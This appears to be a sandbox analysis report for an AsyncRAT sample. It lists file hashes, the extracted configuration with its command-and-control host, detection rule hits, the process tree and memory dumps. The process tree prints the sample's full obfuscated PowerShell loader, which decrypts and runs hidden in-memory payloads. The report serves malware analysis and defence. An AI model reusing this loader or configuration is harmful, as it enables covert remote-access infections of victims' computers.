asyncrat | fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5

General

Target

fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5.cmd
Size

82KB
MD5

0b72d9b98a14810527f555cad408e756
SHA1

e24969bea50bebde5905068c993324fae2470ac6
SHA256

fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5
SHA512

acb4399d53b0b29a23ef04cfae67069a03a115a3da5af22587ba1c47193bc6bad892cdfc90818421658749c68cb90a7dd9436bc507e150dd4db835d7bccf81ce
SSDEEP

1536:oGr7JprjygfWS26G0KbG/9CHHJxPFg2Ta9bt3nliqnOh991geWFY4dAvGyMryXAV:oy77jwS2X0mG/9upxtg2A3nYt1vHGPTV

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

dcxwq1.duckdns.org:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4300-36-0x000001F765D90000-0x000001F765DA6000-memory.dmp	family_asyncrat

Detects executables attemping to enumerate video devices using WMI 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4300-36-0x000001F765D90000-0x000001F765DA6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Detects executables containing the string DcRatBy 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4300-36-0x000001F765D90000-0x000001F765DA6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DcRatBy

Detects executables packed with ConfuserEx Mod 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4300-32-0x000001F765D70000-0x000001F765D82000-memory.dmp	INDICATOR_EXE_Packed_ConfuserEx

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

20 4300 powershell.exe
21 4300 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4300 powershell.exe
4300 powershell.exe
4056 powershell.exe
4056 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4300 powershell.exe
Token: SeDebugPrivilege 4056 powershell.exe

flow	pid	process
20	4300	powershell.exe
21	4300	powershell.exe

pid	process
4300	powershell.exe
4300	powershell.exe
4056	powershell.exe
4056	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 652 wrote to memory of 4940	652	cmd.exe	cmd.exe
PID 652 wrote to memory of 4940	652	cmd.exe	cmd.exe
PID 652 wrote to memory of 3924	652	cmd.exe	cmd.exe
PID 652 wrote to memory of 3924	652	cmd.exe	cmd.exe
PID 3924 wrote to memory of 3964	3924	cmd.exe	cmd.exe
PID 3924 wrote to memory of 3964	3924	cmd.exe	cmd.exe
PID 3924 wrote to memory of 4604	3924	cmd.exe	cmd.exe
PID 3924 wrote to memory of 4604	3924	cmd.exe	cmd.exe
PID 3924 wrote to memory of 4300	3924	cmd.exe	powershell.exe
PID 3924 wrote to memory of 4300	3924	cmd.exe	powershell.exe
PID 4300 wrote to memory of 4056	4300	powershell.exe	powershell.exe
PID 4300 wrote to memory of 4056	4300	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:4940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:3964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\fc1c119af2b10c067771cf36170a8b4ac28db714d14cde45a96b4807d654ded5.cmd';$LzXa='RUWTCeaUWTCdLUWTCineUWTCsUWTC'.Replace('UWTC', ''),'ChZJGfangZJGfeExZJGftenZJGfsiZJGfonZJGf'.Replace('ZJGf', ''),'CAhKEreaAhKEteDAhKEeAhKEcAhKErypAhKEtorAhKE'.Replace('AhKE', ''),'FroBWNamBBWNaasBWNae6BWNa4SBWNatrBWNaiBWNangBWNa'.Replace('BWNa', ''),'DWncieWncicomWnciprWnciessWnci'.Replace('Wnci', ''),'TrOZMganOZMgsfoOZMgrmOZMgFinOZMgalOZMgBOZMgloOZMgckOZMg'.Replace('OZMg', ''),'EleFTeEmFTeEeFTeEnFTeEtAtFTeE'.Replace('FTeE', ''),'MMLMhainMLMhMoMLMhduMLMhlMLMheMLMh'.Replace('MLMh', ''),'EnWitytWityrWityyPWityoWityintWity'.Replace('Wity', ''),'CopyJeHyTyJeHoyJeH'.Replace('yJeH', ''),'SplVFEiiVFEitVFEi'.Replace('VFEi', ''),'GetHQKMCuHQKMrHQKMreHQKMntPHQKMrocHQKMeHQKMsHQKMsHQKM'.Replace('HQKM', ''),'IhYurnvohYurkehYur'.Replace('hYur', ''),'LoaEJSmdEJSm'.Replace('EJSm', '');powershell -w hidden;function kTjsA($UARpu){$rvnjY=[System.Security.Cryptography.Aes]::Create();$rvnjY.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rvnjY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rvnjY.Key=[System.Convert]::($LzXa[3])('4RFBdW1/zR2QfqFXFvckJggLRbhWPlZ+NeGOFVeQyfc=');$rvnjY.IV=[System.Convert]::($LzXa[3])('/1MUg0yozSO51Z+kagFGTw==');$LixCy=$rvnjY.($LzXa[2])();$eKenk=$LixCy.($LzXa[5])($UARpu,0,$UARpu.Length);$LixCy.Dispose();$rvnjY.Dispose();$eKenk;}function znPjO($UARpu){$WVzHv=New-Object System.IO.MemoryStream(,$UARpu);$OjCYY=New-Object System.IO.MemoryStream;$vQDXk=New-Object System.IO.Compression.GZipStream($WVzHv,[IO.Compression.CompressionMode]::($LzXa[4]));$vQDXk.($LzXa[9])($OjCYY);$vQDXk.Dispose();$WVzHv.Dispose();$OjCYY.Dispose();$OjCYY.ToArray();}$PzMvs=[System.IO.File]::($LzXa[0])([Console]::Title);$pfOyV=znPjO (kTjsA ([Convert]::($LzXa[3])([System.Linq.Enumerable]::($LzXa[6])($PzMvs, 5).Substring(2))));$eOZhb=znPjO (kTjsA ([Convert]::($LzXa[3])([System.Linq.Enumerable]::($LzXa[6])($PzMvs, 6).Substring(2))));[System.Reflection.Assembly]::($LzXa[13])([byte[]]$eOZhb).($LzXa[8]).($LzXa[12])($null,$null);[System.Reflection.Assembly]::($LzXa[13])([byte[]]$pfOyV).($LzXa[8]).($LzXa[12])($null,$null); "
3⤵
PID:4604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8
1⤵
PID:5028

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rx4mfyum.psp.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4056-31-0x00007FFC4E980000-0x00007FFC4F441000-memory.dmp

Filesize
10.8MB

Download
memory/4056-22-0x00007FFC4E980000-0x00007FFC4F441000-memory.dmp

Filesize
10.8MB

Download
memory/4056-28-0x00000233EC7A0000-0x00000233EC7B0000-memory.dmp

Filesize
64KB

Download
memory/4056-26-0x00000233EC7A0000-0x00000233EC7B0000-memory.dmp

Filesize
64KB

Download
memory/4056-27-0x00000233EC7A0000-0x00000233EC7B0000-memory.dmp

Filesize
64KB

Download
memory/4300-14-0x000001F765DA0000-0x000001F765DE4000-memory.dmp

Filesize
272KB

Download
memory/4300-36-0x000001F765D90000-0x000001F765DA6000-memory.dmp

Filesize
88KB

Download
memory/4300-13-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-11-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-12-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-10-0x00007FFC4E980000-0x00007FFC4F441000-memory.dmp

Filesize
10.8MB

Download
memory/4300-0-0x000001F764FF0000-0x000001F765012000-memory.dmp

Filesize
136KB

Download
memory/4300-32-0x000001F765D70000-0x000001F765D82000-memory.dmp

Filesize
72KB

Download
memory/4300-34-0x00007FFC6CB60000-0x00007FFC6CC1E000-memory.dmp

Filesize
760KB

Download
memory/4300-15-0x000001F765E70000-0x000001F765EE6000-memory.dmp

Filesize
472KB

Download
memory/4300-35-0x000001F765D80000-0x000001F765D90000-memory.dmp

Filesize
64KB

Download
memory/4300-33-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/4300-37-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/4300-40-0x00007FFC4E980000-0x00007FFC4F441000-memory.dmp

Filesize
10.8MB

Download
memory/4300-41-0x00007FFC58E40000-0x00007FFC58E59000-memory.dmp

Filesize
100KB

Download
memory/4300-44-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-43-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-45-0x000001F764E20000-0x000001F764E30000-memory.dmp

Filesize
64KB

Download
memory/4300-46-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads